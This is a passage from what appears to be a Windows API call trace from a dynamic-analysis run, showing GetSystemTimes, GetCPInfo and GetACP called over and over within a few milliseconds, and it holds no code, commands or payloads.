lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.061] GetACP () returned 0x4e4 [0054.061] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.062] GetACP () returned 0x4e4 [0054.062] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.063] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.063] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.064] GetACP () returned 0x4e4 [0054.064] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.065] GetACP () returned 0x4e4 [0054.065] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.066] GetACP () returned 0x4e4 [0054.066] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.067] GetACP () returned 0x4e4 [0054.067] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.068] GetACP () returned 0x4e4 [0054.068] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: 